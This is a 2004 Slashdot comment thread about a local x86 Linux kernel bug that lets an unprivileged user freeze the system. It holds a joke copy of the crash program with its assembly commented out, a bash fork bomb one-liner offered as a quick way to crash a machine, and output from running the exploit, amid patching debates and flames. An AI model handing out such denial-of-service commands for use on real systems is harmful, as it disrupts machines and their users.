It's people like you that are holding Linux back and out of the desktop market. You cannot assume that everyone who wants to use linux must be able to know how to recompile a kernel or even how to compile any progem. If Microsoft issued updates like this how many in their user-base would be able to apply it, no matter how many HOWTOs there were.

I use linux because its stable and does what I want it to, including traffic shaping. I CAN apply patches to the kernel and know how to recompile it. But that does not mean I am an expert at it. Of course, what was I thinking, If I am to use linux then I must be an expert, screw the learning curve I should know it all in 5mins!!

With that attitude how is anyone EVER going to move over to Linux, what about the person that installed linux yesterday to give it a try, are they supposed to know how all this works? I am a student and the houses I serve the internet to are my mates, we had Windows2003 server for a while but it didn't have any traffic shaping. Students tend to love running P2P and sucking bandwidth, so I switched to ClarkConnect and setup a traffic shaping script.

I am sorry for not being as L33T as you, I crumble in your presence. Oh, and thank you for pointing out how much more effort this patch requires than clicking "INSTALL" when windows pops up the dialog asking if you wish to install that update that it automatically downloaded for you, or even the update that it automatically installed for you if you have that option checked.

You completly ignored the whole point of my post and banged on about how I shouldn't be running linux if I can't do xyz, maybe I'll switch back to Win2K3 in that case, I mean, why would you want /more/ people running linux?

kthxbye

--
I spent ages trying to think of sig, but never did :(

Re:This is another reason why C should be deprecat by leakingmemory · 2004-06-14 03:37 · Score: 1

First, C is as fast as you program it to be. I generally consider C++ as bloated. Java as overkill and C# as one of the most dirty languages I have ever seen. (The error handling, for example). VB is not programming, and considering basic is at lot more ancient than C.

FYI suse 9.1 not vulnerable by sloanster · 2004-06-14 03:38 · Score: 4, Informative

Granted, this crashme program, which requires local shell access, does seem to work in some cases.

However, it does not do so on suse linux 9.1 - it creates an unkillable process, but the system continues to run normally.

Re:FYI suse 9.1 not vulnerable by b1t+r0t · 2004-06-16 03:32 · Score: 1

That's because you're using SMP.

--

--
"Open source is good." - Steve Jobs
"Open source is evil." - Microsoft

2.6.5 is affected by dimss · 2004-06-14 03:40 · Score: 1

At least pure 2.6.5 from kernel.org running on P4 2GHz.

Re:I think we're forgetting one important thing... by Ucklak · 2004-06-14 03:43 · Score: 1

They were the ones who paid someone to code this exploit.

--
if you steal from one source, that is plagiarism, if you steal from many, well, that's just research.

A Better Fix is Now Available by Luscious868 · 2004-06-14 03:43 · Score: 1, Funny

The fix is available here.

Oh common! After all the crap we get from Linux users every time an exploit is found in Windows, you have to expect that were going to give you guys some shit when it happens to you, primarliy because it doesn't happen that often.

So there it is, flame away :-)

Re:A Better Fix is Now Available by nova20 · 2004-06-16 03:22 · Score: 1

Oh common! After all the crap we get from Linux users every time an exploit is found in Windows, you have to expect that were going to give you guys some shit when it happens to you, primarliy because it doesn't happen that often.
...so when an exploit is found in linux, we're supposed to switch to a system that you admit has more exploits?
I, personally, would have put up a link to BeOS or Amiga or something. Perhaps a link to buy a SPARC machine would work, too.
/nova20
Re:A Better Fix is Now Available by Luscious868 · 2004-06-16 08:34 · Score: 1

...so when an exploit is found in linux, we're supposed to switch to a system that you admit has more exploits?

Hello McFly ... I was joking.

Re:Fixed quickly. by ajs318 · 2004-06-14 03:44 · Score: 1

Yes, you have to recompile your kernel. But it really is not that big a deal (all the same, I wouldn't do it on a machine in co-lo without an already-established phone line to a person standing in front of the box}.

Think of the kernel as just another tarball, which has a slightly weirdy make procedure {like, you can't just go 'make install'}. You have to download the kernel sources from a kernel.org mirror, your distribution's kernel patches from one of their mirrors {while Slackware users point and laugh}, and the local exploit patches from the site mentioned in the article.

If you use KDE, there is already a graphical kernel configurator known to work with 2.4 series kernels -- it may not work properly with 2.6 series kernels, but there probably is a patch.

Otherwise, apply your distribution's kernel patches (if any) as per their instructions, followed by the article patch. Then carry on with your distribution's instructions. If you're really lucky, your old .config file will work for the new kernel -- and if not, it probably is time to upgrade anyway.

And don't be put off by the rumours that you can trash your box this way. The worst that can happen is you forget to run LILO and have to boot from a CD-ROM. You can then run LILO and reboot. {Actually that's not true. The worst that can happen is you do run LILO as you meant, but you had incorrectly jumpered both drives on the primary IDE controller as masters when you meant cable select, and you stomp all over the bootloader and kernel on the "slave" drive. Trust me, you do NOT want to do that. Was a 'mare to get sorted and I ended up losing the partition I was trying to rescue because I made a brain-fart.}

--
Je fume. Tu fumes. Nous fûmes!

Re:Fixed quickly. by Pig+Hogger · 2004-06-14 03:44 · Score: 0

And fixes will be deployed within hours.

The same cannot be said of many proprietary OSes...

(Reposted, account some asshole moderating it as "troll")

It's funny by Joust · 2004-06-14 03:47 · Score: 3, Interesting

I see comments about how it only took a few days for the open source community to respond to this bug. In a comment made by Ayanami Rei, an article is linked that is dated December 12, 2003 that details this problem. Isn't that a 6-month response time to this issue? It would appear that Linux is subject to the same patching issues as MS is, even though the reasons are a bit different.

Re:It's funny by darketernal · 2004-06-14 04:33 · Score: 1

I think it was because no one brought it to the attention of the kernel mailing list until now.

And it was a one liner fix too.
Re:It's funny by MBCook · 2004-06-14 12:35 · Score: 1

Can you provide a link to this article? Because the name "Rai Ayanami" (I know the order is reversed) set off bells in my head marking this comment as a possible troll.
Note: Rei Ayanami is the name of a character in the Anime "Neon Genesis Evangelion".

--
Comment forecast: Bits of genius surrounded by a sea of mediocrity.
Re:It's funny by Joust · 2004-06-14 14:21 · Score: 1

Repost of linkage per request. this document

some 2.5.x's are probably safe by chainsaw1 · 2004-06-14 03:48 · Score: 1

2.5.42 gives floating point exception, at least as non-root

-@ip6ctrl:~/scripts$ gcc evil.c -o evil-crashme
-@ip6ctrl:~/scripts$ ls
dropall.sql evil-crashme evil.c truncate.sql
-@ip6ctrl:~/scripts$ ./evil-crashme ........*............*Floating point exception
-@ip6ctrl:~/scripts$ uname -a
Linux ip6ctrl 2.5.42 #1 Wed Aug 6 13:46:27 EDT 2003 i686 unknown

--
- Sig

another way to fix the problem... by naken · 2004-06-14 03:49 · Score: 5, Funny

#include
#include
#include

static void Handler(int ignore)
{
char fpubuf[108]; // __asm__ __volatile__ ("fsave %0\n" : : "m"(fpubuf));
write(2, "*", 1); // __asm__ __volatile__ ("frstor %0\n" : : "m"(fpubuf));
}

int main(int argc, char *argv[])
{
struct itimerval spec;
signal(SIGALRM, Handler);
spec.it_interval.tv_sec=0;
spec.it_interval.tv_usec=100;
spec.it_value.tv_sec=0;
spec.it_value.tv_usec=100;
setitimer(ITIMER_REAL, &spec, NULL);
while(1)
write(1, ".", 1);

return 0;
}

by simply commenting out the inline assembly, i fixed crash.c so it can no longer crash Linux!

1 2 1 2 THE NAKEN CREW

Re:another way to fix the problem... by Anonymous Coward · 2004-06-14 06:38 · Score: 0

now that was funny : ))

In other news; "I be I could ..." by danalien · 2004-06-14 03:51 · Score: 2, Interesting

crash your computer, from bash, in 1sec flat!

by typing:

:() { :|: & } ; :

at the bash-prompt :-)

ref.url : http://forums.gentoo.org/viewtopic.php?t=67302

--
I don't claim I know more than I know, and if you know you know more than I know, then by all means, let me know.

Re:In other news; "I be I could ..." by The+MESMERIC · 2004-06-14 10:22 · Score: 0

ur a GENIUS :)

and here is everyone panicking patching the kernel instead.

Re:Although Windows is Easier to apply patches to. by alexbartok · 2004-06-14 03:53 · Score: 1

You completely ignored my point as well :P
I was trying to say that if you administrate a network you need to know what to do in order to maintain it.
You are obviously more advanced than Joe Doe, yet you complain about your daily (weekly?) bread, that's what I was getting to.
And, as I shortly mentioned before, there IS a solution for the average user who just installed Linux yesterday. Apt/Up2date/Emerge/and whatever their names are.
It is also not about being cool, those are simple tasks that at least people who are willing to look into things can understand.

In simple words:
(Corporate) Administrators, who need to apply patches within days/hours should know what they are doing, so they can do it efficiently and fast without having to rely on external help. Home users can wait until patches and updates hit the official distribution channels for their distro.

s/be/bet/ by danalien · 2004-06-14 03:54 · Score: 1

*opsi*

--
I don't claim I know more than I know, and if you know you know more than I know, then by all means, let me know.

Re:Fixed quickly. by immytay · 2004-06-14 03:57 · Score: 1

Thanks for the info.

In the near future, I want to use SUSE 9.1. Their YAST tool supposedly helps automate security updates.

Excuse my ignorance (anyone who wants to respond), but do I use YAST to
get the kernel update and then recompile?

THIS is why I hate Linux by gosand · 2004-06-14 04:02 · Score: 4, Funny

This is precisely why I hate Linux so much. When I read about Windows vulnerabilities, it is something easy like "Port 1234 left wide open" or "Outlook will email everyone in the world with your penis size if you launch IE." I can comprehend those bugs. When a Linux exploit is discovered, it is all "SIGALRM this" and "__jiggawhat_ that".

How am I supposed to keep up with this stuff?

--

My beliefs do not require that you agree with them.

Re: My Experience with the Linux by mmanrrtff · 2004-06-14 04:02 · Score: 1

Finally something funny and it gets modded troll!!! "the Microsoft "shared source" program seems to offer all of the same freedoms as the GPL." Come on that is funny stuff.

Re:Although Windows is Easier to apply patches to. by Anonymous Coward · 2004-06-14 04:06 · Score: 0

He didn't say he was running a corporate network, he said he was running a network for a few houses. He IS a home user with a shared server so before you jump down his throat, why don't you read a little and figure out just what he is trying to say?

Re: uuencode/uudecode is your friend by Anonymous Coward · 2004-06-14 04:11 · Score: 0

You could even rig up something to echo the binary to a file through a terminal, I'm sure.

Business plan:

step 1: compile on local machine step 2: gzip+uuencode step 3: ... (transmit somehow) ... step 4: uudecode+gunzip step 5: crash

Re:Although Windows is Easier to apply patches to. by koniosis · 2004-06-14 04:12 · Score: 1

I agree that user should be capable of updating their systems, if they can't then the system needs to do it for them. The problem is that if you are running a custom Linux or you've changed something somwhere, update tools like apt and Emerge can go totally wrong. I've never seen this issue with Windows, I guess this is the price we pay for having an Operating System that is so customisable, it breaks compatability and standards too easily.

--
I spent ages trying to think of sig, but never did :(

Re:Fixed quickly. by Anonymous Coward · 2004-06-14 04:25 · Score: 0

stop making sense please.

OGM!11 by Anonymous Coward · 2004-06-14 04:26 · Score: 0

ogm liek dont use linux it si hax0red! linux sux0rz!!!!!111

Oh, when Linux has a vulnerablity, its swept under the rug. Windows is blasted by so called "hackers" or somesuch. Bloody hell. Every bit of software has its vulnerablities, its written by man for goodness' sake

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 04:28 · Score: 0

It's called sarcasm you stupid piece of shit

Re:Fixed quickly. by Anonymous Coward · 2004-06-14 04:30 · Score: 0

That revolver must have like a million barrels.

Difference is propagation by Scott+Richter · 2004-06-14 04:31 · Score: 1

Well, those who have been paying attention know that Linux has had quite a few (read: way too many) critical bugs in the past year.

First off, I'll go ahead and agree with that statement! This could be nothing more than a greater amount of attention being paid Linux every year - or it could be that the increasing commercialization of linux is taking it away from its more stable roots. Either way, it's disconcerting.

Windows kernel had in the last 12 months? I am afraid that this comparison might fall out to the advantage of Windows.

It's hard to compare - studies I've seen (can't remember where, or I'd link) suggests that the overall bug rate in the two codebases is similar, but that linux generally tends to pay more attention to critical areas (this exploit notwithstanding).

Until you take into account time to fix, maybe

Now that's part of the critical bit. Not to mention which the Windows platform has a number of bugs that can be inflicted 1) remotely, and 2) without user access. Because windows does such a poor job protecting resources at the port level, it means that no human intervention is in any way required to propagate an exploit. Thus, while kiddies may attack individual linux machines, they can release exploits that can ultimately affect an unlimited number of windows machines. That's the real problem, the exponential nature of windows exploits.

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 04:39 · Score: 0

Great way to start of the week. Funny as hell obviously satirical post followed by the inevitable clueless replies thinking it's real followed by vain attempts to educate the clueless in the ways of sarcasm and irony. Ah the eternal dance of Slashdot poster and postee. BTW, this guy has some great ideas as well.

Not so by samjam · 2004-06-14 04:40 · Score: 1

If the user has access for a custom procmailrc that can count as shell access but few people realise this.

Sam

--
blog.sam.liddicott.com

Re:Not so by fubar1971 · 2004-06-14 05:49 · Score: 1

There are exceptions to every rule, but 9 chances out of 10 you will find accounts that have shell access that do not require it. If you remove shell access for the accounts that do not require it, and then lockdown all accounts that do through sound policies and vigilant monitoring (which any good SysAdmin should be doing), you should be able to greatly reduce the odds of this exploit being taken advantage of. You got to remeber, the only secure computer (no matter what the OS), is one that is turned off and never used.

RHEL3 doesn't crash by photon317 · 2004-06-14 04:42 · Score: 1, Informative

Tested their code on Redhat ES 3.0 with all current updates applied (2.4.21-15.ELsmp - they haven't released any new kernel updates specific to this problem). The process will suck up a cpu spinning in a tight loop, and is unkillable (even as root with kill -9), but it does not crash the system.

Redhat seems to have different code in signal.c around the area the signal.c patch mentions, but does not have the i387.h patch.

--
11*43+456^2

Hey moderators.... by gosand · 2004-06-14 04:45 · Score: 0, Flamebait

That whooshing sound is the joke going over your head.

--

My beliefs do not require that you agree with them.

Vintage. by Thomas+Shaddack · 2004-06-14 05:05 · Score: 1

Brilliant writing style, elaborate sentences with excellent spelling. Subtle light style actually requiring to read the comment to recognize its intention. Vintage Adequacy-grade stuff.

Re:Vintage. by Anonymous Coward · 2004-06-14 05:32 · Score: 0

And who would know better than the Mad Scientist, Mr Jenczek?

Ada 95 to the resuce..! by acomj · 2004-06-14 05:14 · Score: 1

Ada95 is blazing compared to C... All that runtime type constraint checking picks things up a bit...And its new.. the 95 stands for 2095 er.. I mean 1995, so its spiffy newness means greatness. It even has socket support in GCC now so....

Seriously though, its really hard to write bug free C code. Maybe changing languages isn't such a bad idea to think about.

Two standards by Anonymous Coward · 2004-06-14 05:24 · Score: 0

I find it interesting that the treatment of exploits is so different between Windows and Linux. If it's a Windows exploit, the tone is "see how bad Microsoft is...". If it's a Linux vulnerability, the tone is "open source is so wonderful". An exploit is an exploit regardless of the vendor or development process...

Offtopic - off the charts this time by Cat_Byte · 2004-06-14 05:26 · Score: 1

Never in my life have I seen so many off-topic posts be moderated up for MS bashing. You can probably count the # of posts actually discussing the bug in the article on one hand.

So...from the article.

Using this exploit to crash Linux systems requires the (ab)user to have shell access. The program works on any normal user account, root access is not required.

This is bad considering how many *nix systems have telnet open on the outside. It also posts the code to crash with on the website. Any idiot can cut & paste it & compile with gcc.

The exploit was reported as gcc bug 15905 2004-06-09.

Wow a story posted within 5 days on slashdot. I'm impressed. Usually everyone knows about an exploit and its patched before we get to MS bash while *nix has a hole. FYI patches are listed on the site if you read the article. I'm interested to know how many used them.

--
Two roads diverged in a wood, and I - I took the one the bus load of girls just went down.

Re:Offtopic - off the charts this time by Anonymous Coward · 2004-06-14 06:16 · Score: 0

This is bad considering how many *nix systems have telnet open on the outside. It also posts the code to crash with on the website. Any idiot can cut & paste it & compile with gcc.
What I don't understand, is that if people are going to open up telnet or ssh, why not disallow everything incoming, except the systems you want to allow in. I used to run telnet, only allowed (/etc/hosts.allow) the machines I was going to connect to my server from. I never had a problem that way. I switched to ssh but do the same thing...so no one but those I allow to have shell access. It's stupid to do it any other way unless your an isp or something.
Re:Offtopic - off the charts this time by Cat_Byte · 2004-06-14 07:31 · Score: 1

The problem usually lies in users having dynamic IPs (AOL, dialup, whatever) so that you can't limit by source IP. Using telnet is just crazy since its unencrypted and can be sniffed by any user (with priveliges to the socket of course) on the segment or logged into the server.

--
Two roads diverged in a wood, and I - I took the one the bus load of girls just went down.

Remote crash exploit by Meor · 2004-06-14 05:33 · Score: 0

Linux has failed you. Where's your God now nerds? Where's your god now?

Re:Remote crash exploit by Anonymous Coward · 2004-06-14 07:05 · Score: 0

Where's your God now nerds?
In my anus.
Re:Remote crash exploit by The+MESMERIC · 2004-06-14 10:10 · Score: 0

No you ignorant arse - read my post.
Linux has hardly failed us - and yet we take extreme serious note (unlike Redmond) on a bug that very mild compared to Windows nasty ones. Need a list?

Someone needs to compile the source code (take it you don't even know that is) - after entering inside a Linux Box (which is pretty hard unlike Windows) - and then the kid freezes a PC (hurrah let's clap!).
But for you window users all you have to do is connect to the internet and get molested no end.

Re:You know you have EVEN MORE problems if... by JCCyC · 2004-06-14 05:34 · Score: 1

Your sysadmin needs that advice and your production server has 958 users.

Spend the rest of the day what? by Heisenbug · 2004-06-14 05:39 · Score: 1

You'll never catch me alive ...

Re: My Experience with the Linux by Anonymous Coward · 2004-06-14 05:46 · Score: 0

Hey! You forgot to mention where the "x" in "linux" came from! And what happened to your "linux worm"? And the rest of your GPL fud ?

Re:I think we're forgetting one important thing... by Anonymous Coward · 2004-06-14 05:48 · Score: 0

It easy, just put aside your objectivity and strap on your /. tinfoil hat and have at it.

[CORRECTION] Re:RHEL3 doesn't crash by photon317 · 2004-06-14 05:52 · Score: 4, Informative

My test was on a dual P4 (hyperthreading). Running a single instance of the code only locked a single cpu. I just played with it again, and running 4 instances locked the box. So RHEL3 is vulnerable, and a correct description of the problem is that the exploit locks up 1 cpu in an endless loop that cannot be stopped. For systems with multiple CPUs, you have to do this once for each cpu (twice for each physical cpu if hyperthreading) in order to lock the whole box up.

--
11*43+456^2

Re:[CORRECTION] Re:RHEL3 doesn't crash by Anonymous Coward · 2004-06-14 15:24 · Score: 0

Hmm... seems to me like it's just a good burn-in utility... one hell of a stress test. =)

Re:This is another reason why C should be deprecat by Fissure_FS2 · 2004-06-14 05:55 · Score: 1

Personally my only spelling pet peeve is seeing people use 'alot'.

You forgot 'could of'.

--
My life's goal is to get a score of +3!

Re:This is another reason why C should be deprecat by NonSequor · 2004-06-14 06:04 · Score: 1

Trust me, even though the sun is bright and hot, it won't hurt you.

Unless you get hurled into it.

--
My only political goal is to see to it that no political party achieves its goals.

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 06:08 · Score: 0

You really need to be on the look out for signs that a post is intended to be taken humorously before you write a long refutation of said post.

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 06:10 · Score: 0

But it is funny! Why should something get modded as troll just because some people don't get the joke?

Re:OS bugs are like golf... by Dr.+Manhattan · 2004-06-14 06:13 · Score: 1

I'm sure there is a comparable (if not greater) amount of critical bugs in windows's kernel that because of its closed nature we don't ever get to see...

Why not use a tool like crashme to find them?

--
PHEM - party like it's 1997-2003!

Re:This is another reason why C should be deprecat by avandesande · 2004-06-14 06:21 · Score: 1

Who modded this funny? This is older than dirt.

--
love is just extroverted narcissism

Re:Although Windows is Easier to apply patches to. by Anonymous Coward · 2004-06-14 06:38 · Score: 0

and so is Solaris...

As someone who has been doing sys admin on Solaris for 7 years, and has messed around a bit with Linux for the last 10, I've always wondered about maintaining Linux on a production system with respect to patches. I realise that there are many distros but if it is the case that you need to recompile code to patch the kernel then that is just not good enough any more. Making, compiling or linking has ever been a part of kernel patching in my experience and if Linux is to be used on large SMP boxes, let alone desktops, everyone involved is going to have to work to make patching the kernel as slick, and generally trouble-free, as it is on Solaris Yes, I know it can be a nightmare on Solaris sometimes too but generally it just works. Yes, I know this is partly because Solaris is propritary and it's easier for Sun but the point still stands. Everything that can be done to make kernel patching easy should be done.
Saying it's OK as is because you need to know what you are doing sounds very hollow indeed.

Re:OS bugs are like golf... by NarrMaster · 2004-06-14 06:39 · Score: 0

ooooooo, burned!

--
That's right. All your base.

Re:This is a bad situation that needs to be remedi by spitzak · 2004-06-14 06:53 · Score: 1

Hackers who have secret shell access are not going to crash the machine. That would be stupid, they would probably lose whatever they did to get the secret shell access, and lose the ability to mess with the machine or to use it to get into other machines, or use it to spew spam.

This is really only a problem for a system that provides shell accounts (or another way to run arbitrary software) remotely to normal users. Such a system is pretty insecure anyway. You can easily run software on Linux that will eat all the process time and make it so difficult to kill the runaway process that the machine might as well have crashed.

Real patch to fix the root cause, not the symptoms by fifirebel · 2004-06-14 07:07 · Score: 3, Informative

http://linux.bkbits.net:8080/linux-2.5/diffs/inclu de/asm-i386/i387.h@1.16?nav=index.html|src/.|src/i nclude|src/include/asm-i386|hist/include/asm-i386/ i387.h

Offtopic Continued:Re:This is another reason why C by dilvish_the_damned · 2004-06-14 07:10 · Score: 1

Not to prey on someone elses excelent post, but he forgot to mention VB.net's full domain name support, which is obviously lacking in the Linux C kernel.
Until Linux C gets full domain name support, it will be substandard as a networking language.

--
I think you underestimate just how much I just dont care.

this *is* a big deal by sentientbrendan · 2004-06-14 07:27 · Score: 4, Interesting

The *first* post I see is some bullshit lauding the superiority of the opensource development process with this as an example. RTFA. Here is some sensible info and advice.

1. There *was no patch*. Some systems were immune, but that was completely by chance.
2. There is a patch *now*, but the article also says people are already using the thing to crash free shell providers on day 0.
3. The patch, at this point, requires a kernel recompile. Not everyone running linux knows how to do that. Many who do are too lazy. Don't give me some shit about how everyone running linux is so 1337 that they will be sure the have already patched their system. I know you. You aren't that 1337.
4. Yes, this *is* a big deal. We were caught with our pants down, plain and simple. This *is* worse than any windows security issue that has come up in a long time.
5. Please *do* compile the demo code against your system and test it. If your system crashes, please patch. Don't act like many and just ignore this, especially if you are running a server or anything that stays connected for any amount of time. It also might be a good idea to turn off your telnet and ssh daemon (yes, even ssh) until you patch.
6. If you are *not* running linux or not running on x86, it might also be a good idea to test the demo code against your system. If you are running windows, some versions of windows *do* support possix to a limited degree. The code *might* compile. Then there is also, cygwin. This is probably a bug specific to linux x86, but it won't hurt to check.

Re:this *is* a big deal by Anonymous Coward · 2004-06-14 07:53 · Score: 0

4. Yes, this *is* a big deal. We were caught with our pants down, plain and simple. This *is* worse than any windows security issue that has come up in a long time.

This is a remote exploit that will turn Linux boxes into zombies spamming people and brute force guessing nuclear weapon launch codes?
Re:this *is* a big deal by DaCool42 · 2004-06-14 07:56 · Score: 0

I agree with you on all points, except #4. This bug lets a local user halt the system, worst case causing downtime and slight chance of data loss. Recent Windows bugs allowed remote users to run arbitrary code, worst case causing widespread worms, privacy problems, data loss, and pretty much anything else nasty you can think of.

--

----
All of whose base are belong to the what-now?
Re:this *is* a big deal by Wolfrider · 2004-06-14 12:06 · Score: 1

> This *is* worse than any windows security issue that has come up in a long time.

--Oh, calm down Sparky. First this exploit requires shell access, which means the attacker has to be able to log in. Second, this code only affects ONE BOX AT A TIME. Windows exploits generally try to affect multiple machines, or actively destroy the ability to use the box barring a reinstall/reformat.

--Yes, this is evil code, but please don't blow it out of proportion. Your "average" Windows problems are still MUCH worse than this, and far more widespread.

--
.
== WolfriderV6 == I'm willing to admit that *I just might* be wrong... Are you??
Re:this *is* a big deal by Bitsy+Boffin · 2004-06-14 13:30 · Score: 1

3. The patch, at this point, requires a kernel recompile. Not everyone running linux knows how to do that. Many who do are too lazy. Don't give me some shit about how everyone running linux is so 1337 that they will be sure the have already patched their system. I know you. You aren't that 1337.

As others have pointed out to you, you realistically need shell access to use the exploit.

If somebody is providing shell access to untrusted users, then one hopes that they know about server administration, which includes recompiling a kernel!

This is NOT a problem for Joe User, this is a problem for Sam Serveradmin.

--
NZ Electronics Enthusiasts: Check out my Trade Me Listings
Re:this *is* a big deal by sentientbrendan · 2004-06-15 08:55 · Score: 1

Good point.
Re:this *is* a big deal by dvdeug · 2004-06-16 09:16 · Score: 1

3. The patch, at this point, requires a kernel recompile. Not everyone running linux knows how to do that.

And if they don't, then they have no business offering shell access to untrusted users. If you can't recompile a kernel, they're not likely to be able to deal with the CPU, disk, and memory hogs, as well as definitely not being able to deal with the next local exploit, be it kernel or pingus.

This *is* worse than any windows security issue that has come up in a long time.

It's a local exploit. That doesn't rank above almost any remote exploit.

It also might be a good idea to turn off your telnet and ssh daemon (yes, even ssh) until you patch.

Turning off telnet is always a good idea. But if they can get in through ssh, they can do a lot of damage without ever having root access. In any case: oh, you can crash my computer. I'm worried, I'm worried! Like it's really that big a deal to reboot it. The fact that you had shell access on my computer is much more scary than the fact that you could crash my computer.

If you are *not* running linux or not running on x86, it might also be a good idea to test the demo code against your system.

Maybe this works on other Un*x systems. But if you read the patch, it's obvious that it doesn't work on non-x86 systems. It uses x86 assembly, for god's sake! It relies on the fine details of the x86 FPU. Maybe there's equivalent problems with the floating point exception handling on other chips, but that's going to take changes to the code.

Dude you're crazy... by chicagozer · 2004-06-14 07:51 · Score: 1

If you don't believe me, post a few public IP addresses of your corporate network and see how many new friends you make.
I'm guessing alot of people could use the extra disk space.

--
ZZ

Re:Dude you're crazy... by Allen+Zadr · 2004-06-14 09:02 · Score: 1

If I gave you the public IP of a firewall or a server would make no difference. Someone would ultimately get in if they are determined to do so.
What you are asking is that I invite hackers. Maybe as an added carat, I should offer 1.5GB of uncirculated MP3 files, then dare everyone to try to get in. That's a lot like traversing hacker #channels on IRC... it's an open invitation to trouble.
Maybe I'm crazy. 5 years of running with very few troubles and less than 1 total day of down-time on the corporate web server/site says otherwise.

--
Kinetic stupidity has a new brand leader: Allen Zadr.

Re:disable compiler access for non-trused shell us by joostje · 2004-06-14 08:00 · Score: 1

Removing the compiler wouldn't help, anyway - presumably most systems with public shell access also have some sort of ftp access. You could even rig up something to echo the binary to a file through a terminal, I'm sure.

Right. The only thing that might help is to use a noexec mount option while mounting the filesystems the untrusted users have write access to.

Welcome to Slashdot by Anonymous Coward · 2004-06-14 08:01 · Score: 0

Welcome to Slashdot, where anti-social people who like calling people idiots get moderated up.

And, oh, I haven't seen one Slashdot know-it-all post a link to the correct patch (not the one which merely stops the example code posted) for the problem.

Re:Although Windows is Easier to apply patches to. by Anonymous Coward · 2004-06-14 08:04 · Score: 0

Installing: dpkg -i ../kernel....: 10 seconds, brain involved: 0%.

Kida these days. Has Debian made it so people don't know how to edit a lilo.conf anymore?

Re:Although Windows is Easier to apply patches to. by The+Analog+Kid · 2004-06-14 08:06 · Score: 1

Not really, just about any newbie distro (Fedora, Mandrake, SuSE), pushes pre-compiled kernels to usesrs so all they have to do is update the system, and reboot. If they were compiling their own kernel well they should know what do to do.

Propbably not slash'd!? by xiando · 2004-06-14 08:15 · Score: 0

When I found my lame parody of a website on the first page on Slashdot I instantly begged two nice people, igu and dvl666stn, to help me with the load. The site now has 3 A records all pointing to high bandwidth locations. The AAAA record for Ipv6 is pointed at yet another location. I assume the main URL can handle the current and even more load. The sites listed at mirrors on the first page would probably not be able to handle the current load on their own, as these URLs are not load balanced.

--
9/11: Never forget it was a false-flag operation

Re:[venom]For a moment I thought you were serious by Anonymous Coward · 2004-06-14 08:16 · Score: 0

On the other hand, if your post is modded as interesting, I will not be relieved.

its beginning to sound a lot like Microsoft .... by Anonymous Coward · 2004-06-14 08:25 · Score: 0

yep

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 08:44 · Score: 0

Which should be spelled "could've", and would seem to be as legitimate of a contraction as any in casual speech.

Re:This is another reason why C should be deprecat by DaHat · 2004-06-14 08:46 · Score: 1

Trust me, even though the sun is bright and hot, it won't hurt you

So you say, I know otherwise. As a fair skinned person who once had SECOND DEGREE sunburns... I know just how much hurt the sun can inflict.

--
Help Brendan pay off his student loans

Re:Although Windows is Easier to apply patches to. by mauryisland · 2004-06-14 08:56 · Score: 1

I dunno. I'm running Fedora Core 2, and I've already recieved an email regarding this, and the patched kernel is already out to the mirrors.

sudo yum -y update kernel*

is pretty easy.

Here's the email I got from Red Hat:

Fedora Update Notification
FEDORA-2004-171
2004-06-14

Product : Fedora Core 2
Name : kernel
Version : 2.6.6
Release : 1.435
Summary : The Linux kernel (the core of the Linux operating system)

Description :
The kernel package contains the Linux kernel (vmlinuz), the core of any Linux operating system. The kernel handles the basic functions of the operating system: memory allocation, process allocation, device input and output, etc.

This update includes a fix for the local DoS as described in http://linuxreviews.org/news/2004-06-11_kernel_cra sh/index.html
...

Re:This is another reason why C should be deprecat by Anonymous Coward · 2004-06-14 08:56 · Score: 0

If you were smoking crack you might understand that "troll parody" is meant to refer to a "parody posted by a troll" rather than a "parody of a troll."

Re:This is a bad situation that needs to be remedi by say · 2004-06-14 09:18 · Score: 1

Right now, any semi-current linux setup is a sitting duck for this kind of DOS attack.

This is not a DOS attack.

--
Roses are #FF0000, violets are #0000FF, all my base are belong to you

kernel protection by urbieta · 2004-06-14 09:27 · Score: 1

I actualy removed rxvt from the GUI menu, no more risk from ignorant X users :D

If I want a terminal, Ill use that hidden hot key combination ;)

There's an even bigger difference by twelveinchbrain · 2004-06-14 09:28 · Score: 1

If someone discovered a block of code that can crash a Windows system, it wouldn't even make the news. It's much harder to write C code that doesn't crash Windows.

--
Not Found
The requested URL /signature.html was not found on this server.

Re:This is another reason why C should be deprecat by Shaklee39 · 2004-06-14 09:51 · Score: 1

Give credit where credit is due, this troll was stolen from eggtroll originally posted here.

Uh by bonch · 2004-06-14 09:57 · Score: 1

You're kidding, right? An easy argument could be made about how biased this site is. "Microsoft Violates Human Rights In China" is a past article that comes to mind...

What - is - the - big - deal?? by The+MESMERIC · 2004-06-14 09:58 · Score: 0

What is the big deal again?
Some are saying that this is worse than anything they've seen in Windows.
Uh?
What about /con/con.wav (Win98/NT)?
/con/con.wav was a sound wave that if anyone played the system would crash bingo.
I wont go into the subject of worms/viruses.
But here we have a C-program that needs to compiled first and then executed!
It's an assembly-like infinite loop with a vengeance:
In my machine!
First you have to get inside MY machine to compile this.

while(1){do crap ...};
Man, I could write 100 similar infinite-loop programs in C for Window that would freeze all the same!!!!!! and do REAL damage as I have root priviledges !!!
In Windows we had a fucking sound wave that CRASH a SERVER!!! /con/con.wav (never mind the worms/viruses). You visit a site - site plays a wave - CRASH. In fact the list of ways to crash a Windows-PC visiting a site (using IE of course) are innumberable.

Anyway lets compile the code?
Lets crash my system? (here we go - I did this: system freezes)
Now lets go for a CLEAN reboot?:

Alt-SysRq-R (keyboard in raw mode)
Alt-SysRq-S (save unsaved data to disk)
Alt-SysRq-E (send termination signal)
Alt-SysRq-I (send kill signal)
Alt-SysRq-U (remount all mounted file systems)
Alt-SysRq-B (reboots the system)

Can Windows XP/NT do that? In case of a Disaster?
Enlighten me - I am no XP-NT-Admin. My guesses are you will have to cross your fingers and reach for the reset button.

A self-spreading virus for Linux running of a kernel - now THAT would be SERIOUS news.
Nevertheless I will patch it just for fun.

For 2.6 by iothal · 2004-06-14 09:59 · Score: 1

See this -> http://linux.bkbits.net:8080/linux-2.5/diffs/inclu de/asm-i386/i387.h@1.16?nav=index.html|src/.|src/i nclude|src/include

Barring the fact that your "exploit" doesn't work by bonch · 2004-06-14 10:09 · Score: 1

For the longest time, you could get full root access to any local Linux machine without needing a password just by passing the right command parameter to the LILO prompt.

